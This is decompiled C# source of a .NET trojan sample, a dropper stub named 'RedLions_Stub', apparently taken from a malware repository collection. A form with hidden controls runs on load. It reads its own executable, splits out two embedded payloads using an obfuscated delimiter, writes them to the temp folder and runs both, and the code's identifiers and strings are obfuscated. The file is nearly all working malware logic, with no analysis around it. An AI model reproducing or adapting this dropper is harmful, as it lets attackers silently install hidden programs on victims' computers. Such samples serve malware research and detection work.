// Decompiled with JetBrains decompiler // Type: RedLions_Stub.Form1 // Assembly: Random, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 29923E1C-4A06-46C3-B41C-690DFD9D7396 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Pincav.cmfl-3fa99ddd788dbbe91390f940f247e68ee6ef463b9a024c2781a0267f9ccc9501.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Runtime.CompilerServices; using System.Windows.Forms; namespace RedLions_Stub { [DesignerGenerated] public class Form1 : Form { private IContainer \u0002; [AccessedThroughProperty("PictureBox1")] private PictureBox \u0003; [AccessedThroughProperty("TextBox1")] private TextBox \u0005; [AccessedThroughProperty("PictureBox2")] private PictureBox \u0008; [AccessedThroughProperty("PictureBox3")] private PictureBox \u0006; [DebuggerNonUserCode] public Form1() { this.Load += new EventHandler(this.\u0002); this.\u0002(); } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.\u0002 == null) return; this.\u0002.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void \u0002() { ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(new PictureBox()); this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(new TextBox()); this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003(new PictureBox()); this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005(new PictureBox()); ((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()).BeginInit(); ((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003()).BeginInit(); ((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005()).BeginInit(); this.SuspendLayout(); this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613769)); PictureBox pictureBox1 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(); Point point1 = new Point(0, 0); Point point2 = point1; pictureBox1.Location = point2; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Name = \u0002\u2000.\u0002(-1045613617); PictureBox pictureBox2 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(); Size size1 = new Size(100, 50); Size size2 = size1; pictureBox2.Size = size2; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabIndex = 0; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabStop = false; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Visible = false; TextBox textBox1 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(); point1 = new Point(0, 0); Point point3 = point1; textBox1.Location = point3; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().Name = \u0002\u2000.\u0002(-1045613607); TextBox textBox2 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(); size1 = new Size(100, 20); Size size3 = size1; textBox2.Size = size3; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002().TabIndex = 1; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613586)); PictureBox pictureBox3 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003(); point1 = new Point(8, 8); Point point4 = point1; pictureBox3.Location = point4; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Name = \u0002\u2000.\u0002(-1045613690); PictureBox pictureBox4 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003(); size1 = new Size(100, 50); Size size4 = size1; pictureBox4.Size = size4; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().TabIndex = 2; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().TabStop = false; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003().Visible = false; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Image = (Image) componentResourceManager.GetObject(\u0002\u2000.\u0002(-1045613680)); PictureBox pictureBox5 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005(); point1 = new Point(183, 186); Point point5 = point1; pictureBox5.Location = point5; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Name = \u0002\u2000.\u0002(-1045613656); PictureBox pictureBox6 = this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005(); size1 = new Size(100, 50); Size size5 = size1; pictureBox6.Size = size5; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().TabIndex = 3; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().TabStop = false; this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005().Visible = false; this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; size1 = new Size(284, 262); this.ClientSize = size1; this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005()); this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003()); this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()); this.Controls.Add((Control) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()); this.Name = \u0002\u2000.\u0002(-1045613638); this.Text = \u0002\u2000.\u0002(-1045613638); ((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002()).EndInit(); ((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003()).EndInit(); ((ISupportInitialize) this.nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005()).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } [DebuggerNonUserCode] internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002() => this.\u0003; [DebuggerNonUserCode] [MethodImpl(MethodImplOptions.Synchronized)] internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002( PictureBox _param1) { this.\u0003 = _param1; } [DebuggerNonUserCode] internal virtual TextBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002() => this.\u0005; [DebuggerNonUserCode] [MethodImpl(MethodImplOptions.Synchronized)] internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0002(TextBox _param1) => this.\u0005 = _param1; [DebuggerNonUserCode] internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003() => this.\u0008; [DebuggerNonUserCode] [MethodImpl(MethodImplOptions.Synchronized)] internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0003( PictureBox _param1) { this.\u0008 = _param1; } [DebuggerNonUserCode] internal virtual PictureBox nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005() => this.\u0006; [DebuggerNonUserCode] [MethodImpl(MethodImplOptions.Synchronized)] internal virtual void nq8qnvgc96s8zqzhulkuu3sjr83jcned\u2002\u2000\u2007\u0005( PictureBox _param1) { this.\u0006 = _param1; } private void \u0002(object _param1, EventArgs _param2) { label_0: int num1; int num2; try { ProjectData.ClearProjectError(); num1 = -2; label_1: int num3 = 2; string tempPath = Path.GetTempPath(); label_2: num3 = 3; FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); label_3: num3 = 4; string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); label_4: num3 = 5; FileSystem.FileGet(1, ref Expression); label_5: num3 = 6; FileSystem.FileClose(1); label_6: num3 = 7; string[] strArray = Strings.Split(Expression, \u0002\u2000.\u0002(-1045614002)); label_7: num3 = 8; FileSystem.FileOpen(3, tempPath + strArray[3], OpenMode.Binary, OpenAccess.ReadWrite); label_8: num3 = 9; FileSystem.FilePut(3, strArray[1], -1L, false); label_9: num3 = 10; FileSystem.FileClose(3); label_10: num3 = 11; FileSystem.FileOpen(5, tempPath + strArray[4], OpenMode.Binary, OpenAccess.ReadWrite); label_11: num3 = 12; FileSystem.FilePut(5, strArray[2], -1L, false); label_12: num3 = 13; FileSystem.FileClose(5); label_13: num3 = 14; Process.Start(tempPath + strArray[3]); label_14: num3 = 15; Process.Start(tempPath + strArray[4]); label_15: num3 = 16; this.Close(); ProjectData.EndApp(); goto label_22; label_17: num2 = num3; switch (num1 > -2 ? num1 : 1) { case 1: int num4 = num2 + 1; num2 = 0; switch (num4) { case 1: goto label_0; case 2: goto label_1; case 3: goto label_2; case 4: goto label_3; case 5: goto label_4; case 6: goto label_5; case 7: goto label_6; case 8: goto label_7; case 9: goto label_8; case 10: goto label_9; case 11: goto label_10; case 12: goto label_11; case 13: goto label_12; case 14: goto label_13; case 15: goto label_14; case 16: goto label_15; case 17: goto label_22; } break; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_17; } throw ProjectData.CreateProjectError(-2146828237); label_22: if (num2 == 0) return; ProjectData.ClearProjectError(); } } }